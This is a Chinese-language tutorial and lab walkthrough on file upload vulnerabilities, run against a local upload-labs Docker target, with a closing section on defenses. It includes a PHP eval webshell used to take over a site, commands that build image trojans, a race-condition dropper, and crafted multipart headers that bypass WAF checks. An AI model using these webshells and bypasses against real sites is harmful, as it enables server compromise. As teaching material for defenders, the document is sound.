[漏洞篇]文件上传漏洞详解
[漏洞篇]文件上传漏洞详解
一、介绍
1. 概念
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
2. 危害
- 代码执行:上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。
- 病毒、木马自动运行:上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;
- 控制flash:上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
- 脚本图片钓鱼:上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。
3. 原理
一些网站的文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在 进程服务器上执行任意PHP脚本。
当系统存在文件上传漏洞时,攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。
二、实战演示
1. 靶场搭建(docker)
本地需要有docker环境,如果没有可以直接安装docker或安装docker-desktop
- linux搭建docker:https://blog.csdn.net/weixin_45565886/article/details/132396440
- mac/windows安装下载docker-desktop,官网地址:https://www.docker.com/get-started/
# docker拉取镜像
docker pull cuer/upload-labs
# 运行镜像
docker run -d -p 8081:80 cuer/upload-labs
浏览器输入:http://localhost:8081/ 访问靶场:
2. 实战
Pass01:前端JS校验
我们来到第一关,进行尝试:
-
我们上传我们的php webshell发现被拦截
php_info.php:<?php phpinfo(); ?>
- 我们发现这是一个前端弹窗事件,于是f12打开开发者工具
- 因为这是在js校验,所以我们直接修改前端js,删除提交时的校验即可
最后效果:
-
然后我们重新上传php脚本文件,发现上传成功
-
最后访问我们上传的脚本文件,观察是否可以正常执行
http://localhost:8081/upload/php_info.php
发现可执行成功:
除了这一种方法,还有一种就是我们可以通过Burpsuite抓包,等数据包通过前端js校验后,修改数据包中的文件后缀名:
Pass02:MIME-Type校验
一些后端开发人员会根据MIME-Type校验图片,比如:jpg图片的MIME-Type就是image/jpeg
-
我们来到第2关,上传文件并点击进行上传,发现页面提示类型错误
-
我们发现页面提示内容是由后端返回,表示文件校验逻辑是放在后端
-
联想到后端常用类型判断,我们尝试通过Burpsuite抓包修改MIME Type
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。比如jpg的MIME Type类型就是:image/jpeg
- 发现成功绕过后端校验,并能触发脚本成功
Pass11:php后缀名过滤
-
来到第11关,我们选中本地的php_info.php,点击上传后发现,文件能上传成功,但文件名中包含的所有php都被替换为空了
-
此时我们首先考虑到的就是双写绕过,既然后端会替换php,那我们就采用双写进行绕过,php_info.pphphp文件名中将php字符替换为空之后,就变成了_info.php,成功实现绕过
- 同时脚本也能正常执行
Pass12:文件重命名(00截断)
我们来到第12关发现,后端会将我们上传的文件进行另存(重命名),那我们可以利用这个规则,使用00截断。PS:我这里php版本过高,无法演示,所以贴了几张别人演示的结果。感兴趣的朋友下来可以自己尝试一下。
%00截断常在url中get请求使用,在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。所以一般文件上传绕过%00会在路径上使用。
- 原理:http://xxx.com?filename=common_info.php%00.txt,这样我们实际后缀名是txt绕过前端后端检测,但因为%00会被认为结束,所以就最后就被另存为了common_info.php,后面的.txt就被舍弃
0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制。其实和%00的原理没有太大区别,只是使用的方式不一样,这个0x00是手动修改为16进制变成的,通常通过bp修改,其实%00解码就是0x00,0x00通常在post请求使用。- 00截断使用条件:
1、php版本小于5.3.29
2、magic_quotes_gpc = Off(去php.ini修改就行)
-
比如下面是GET请求,我们通过%00实现绕过
-
这里访问的时候记得把9020231122143153.jpg去掉,因为成功上传的其实是23.php
最后蚁剑连接成功。
Pass14:检测图片内容标识
除了上面提到的几种初级防御手段,有时候,后端服务也会解析文件内容,比如校验图片文件的头几个字节(SOI)是否满足条件,例如:标准jpg的头两个字节应该是:255216
文件头:FF D8
十进制:255 和 216
组合后的十进制值:255216
- 我们先从网上下载一个标准的jpeg图片
# 以16进制打开图片,观察是否满足要求
vim -b OIP-C.jpeg
- 下面准备php脚本
common_php.php
<?php
phpinfo();
?>
- 执行下面命令,制作图片木马
# windows命令
copy OIP-C.jpeg /b + common_php.php /a hack.jpg
# mac命令
cat OIP-C.jpeg common_php.php > hack.jpg
查看效果:
vim -b hack.jpg
- 上传图片木马到服务器
上传文件之后访问图片,服务器无法解析执行其中的php代码,所以我们需要和其他漏洞联合起来,比如:文件包含漏洞等,或者通过其他方式将该文件进行重命名。此处便不再演示,将含有攻击的代码上传到服务器,这本身也是一个极其危险的事情。
文件上传结合一句话木马
上面的方式可能演示不出文件上传漏洞的危害,有些同学可能认为上传了对应的脚本对自己服务器也没什么影响。下面我们就将上面的脚本内容替换为一句话木马.
hack_php.php:
<?php @eval($_POST['admin']);?>
- 将包含木马的文件上传到服务器,连接密码为admin
- 访问文件,执行该木马文件
- 通过工具连接,攻占网站
工具可以使用中国蚁剑、菜刀等,这里以蚁剑为例:
- 打开工具,添加链接
- 成功拿下网站控制权:可上传文件,建立shell等
三、绕过手段
在上面实战中其实我们已经介绍了几种常见的绕过手段,下面主要给大家拓展其他绕过手段,权当补充。
基础绕过
1. 本地JS绕过
防御原理:通过前端JS来判断文件后缀名是否合法
绕过手段:
- 方式一:禁用JS/删除前端JS脚本中的校验逻辑
- 方式二:Burpsuite抓包,等前端校验完成之后,再把数据包中的文件后缀名由合法的改为.php
2. MIME绕过(Content-Type)
防御原理:后端服务会校验上传文件的Content-Type,比如校验上传文件的MIME-Type是否是image/jpeg,以此来判定是否是jpg图片
绕过手段:Burpsuite抓包,手动修改数据包中的Content-Type
3. 黑名单(后缀名)绕过
防御原理:服务器会校验文件后缀名来进行判断,如:后缀名包含.php的会被禁止上传
绕过手段:部分php可以解析.php2、.php3、.phtml等文件,我们可以将文件名修改为其中之一来进行肉狗
4. 大小写绕过
防御原理:后端校验文件名,但仅校验了小写php
绕过手段:windows对大小写不敏感,linux对大小写敏感,将文件后缀名改成大写PHP,成功上传。
5. 空格绕过
防御原理:后端校验文件名,但仅校验了php,没有校验php带空格的情况
绕过手段:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。此时我们后缀名为.php空格,可以绕过后端校验,在windows系统下,文件名会自动删除末尾空格,就成了.php
6. 点绕过
防御原理:后端校验文件名,但仅校验了php,没有校验php带点的情况
绕过手段:同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格,可以实现在文件后缀添加个”.“成功绕过
7. 双写绕过
防御原理:后端将文件名中的php替换为空
绕过手段:后端仅替换了一次,可以采用双写绕过,上传文件后缀为pphphp的文件,发现上传成功,pphphp将其中的php替换为空后,剩下的刚好又组成了php,实现绕过
8. %00截断
使用限制:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
(magic_quotes_gpc)函数的的底层实现是类似c语言,所以可以%00截断
防御原理:将原有文件进行另存重命名
绕过手段:文件另存路径后添加%00,如文件原本重命名为upload/123.php%00fa414124213421.jpg,绕过校验后,因底层c语言会将%00当做截断,文件最后被保留为upload/123.php
9. 图片木马
防御原理:比如检测图片SOI是否有特征值,是否满足图片特征
绕过手段:合法图片与脚本结合,通过图片木马,将恶意代码上传至服务器。但这种方式访问图片不会默认执行图片中的脚本,需要联合其他漏洞使用,如:文件包含漏洞。
# windows命令
copy OIP-C.jpeg /b + common_php.php /a hack.jpg
# mac命令
cat OIP-C.jpeg common_php.php > hack.jpg
10. 竞争条件
防御原理:上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断,如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
绕过手段:通过并发请求文件,赶在服务器删除文件之前执行脚本内容,创建新恶意代码。比如:我们上传的是1.php,1.php脚本作用就是在当前目录创建test.php,于是只要我们并发高,赶在服务器校验我们上传的文件(1.php)之前,执行1.php脚本内容,就可以实现绕过。
1.php脚本内容:
<?php
$f= fopen ("test.php","w") ;
fputs ($f,'<?php phpinfo();?>');
?>
包含WAF的绕过
WAF防御原理:WAF检查上传文件的名称、内容
- 解析文件名,判断是否在黑名单内(.php、.phtml…)
- 文件内容:判断是否为 webshell 文件目录权限、请求的 url、Boundary 边界、MIME 文件类型。
目前,市面上常见的是解析文件名,少数 WAF 是解析文件内容,比如长亭
1. 填充垃圾数据绕过
有些主机 WAF 软件为了不影响web服务器的性能,会对校验的用户数据设置 大小上限,比如 1M。此种情况可以构造一个大文件,前面 1M 的内容为垃圾内 容,后面才是真正的木马内容,便可以绕过 WAF 对文件内容的校验;’ Content-Type 类型数据后添加垃圾数据:
Content-Type: image/jpeg
a=11111111111111111111111111111111111111111111111111111111
GIF89a
<?php phpinfo(); ?>
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验:
------WebKitFormBoundaryYijPw9QB0WlswSL2
a=111111111111111111111111111111111111111111111111111111111111111111111
Content-Disposition: form-data; name="file_x"; filename="bk.jpg"
Content-Type: image/jpeg
2. 文件扩展名出回车绕过(只支持 php)
文件扩展名进行回车绕过:
Content-Disposition: form-data; nAme="upfile"; filename="bk.ph
p" Content-Type: image/jpeg
或者:
Content-Disposition: form-data; nAme="upfile"; file
name="bk.php"
Content-Type: image/jpeg
3. filename绕过
添加一个 finame 参数:
针对早期版本安全狗,可以多加一个 filename 在一个 Content-Disposition 中,存在多个 filename ,协议解析应该使用最 后的filename 值作为文件名。如果 WAF 解析到 filename="bk.jpg"认为解析 到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是 bk.asp。
Content-Disposition: form-data; name="file1";
filename="bk.jpg";filename="bk.asp"
4. Content-Disposition 字段值大小写绕过
对这三个固定的字换:Content-Disposition,name,filename 比如 name 转换成 Name,Content-Disposition 转换成 content-disposition。
Content-Disposition: form-data; name=“upfile”; filename=“bk.php”
改成
Content-Disposition: form-data; nAme=“upfile”; filename=“bk.php”
5. 文件重命名绕过
如果 web 程序会将 filename 除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
Content-Disposition: form-data; name=" file1";
filename="bk....................................................................................................................
............................................................................................................asp"大概几百个点。
6. 删除 Content-Disposition 值的 form-data 绕过
有的 WAF 在解析的时候,认为 Content-Disposition 值一定是 form-data,造成绕过。
Content-Disposition: form-data; name=“file1”; filename= “bk.php”
改为:
Content-Disposition: name=“file1”; filename= “bk.php”
四、防御手段
1. 检查服务器PUT方法配置
检查服务器PUT方法是否配置不当。
虽然没有POST方法使用广泛,但是PUT方法却是向服务器上传文件最有效率的方法。POST上传文件时,我们通常需要将所有的信息组合成 multipart 传送过去,然后服务器再解码这些信息,解码过程则必不可少的会消耗内存和CPU资源,这种现象在上传大文件时尤其明显。而PUT方法则允许你通过与服务器建立的socket链接传递文件的内容,而不附带其他的信息。一旦我们服务器配置出现问题,极易产生严重的安全问题。
- 这种方式极大程度上降低了攻击者的攻击成本
感兴趣的同学可以去了解一下:Tomcat put方法任意文件上传漏洞(CVE-2017-12615)
2. 本地文件上传限制被绕过:
在服务器后端对上传的文件迚行过滤。
3. 设置文件上传目录为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
4. 判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者 resize 函数,在处理图片的同时破坏图片中可能包含的HTML代码。
5. 使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像 shell.php.rar.rar 和 crossdomain.xml 这种文件,都将因为重命名而无法攻击。
6. 单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传 crossdomain.xml、上传包含 Javascript 的 XSS 利用等问题将得到解决。
7. 上传的文件尽量单独存放或与重要业务隔离开
尽量使用单独的服务器专门存放文件或放在docker中,这样即使服务器被攻破,也不会对其他业务资源造成大的损失
参考文章:
https://www.freebuf.com/vuls/279171.html
https://blog.csdn.net/aaron_miller/article/details/106143006
https://blog.csdn.net/qq_44632668/article/details/97818432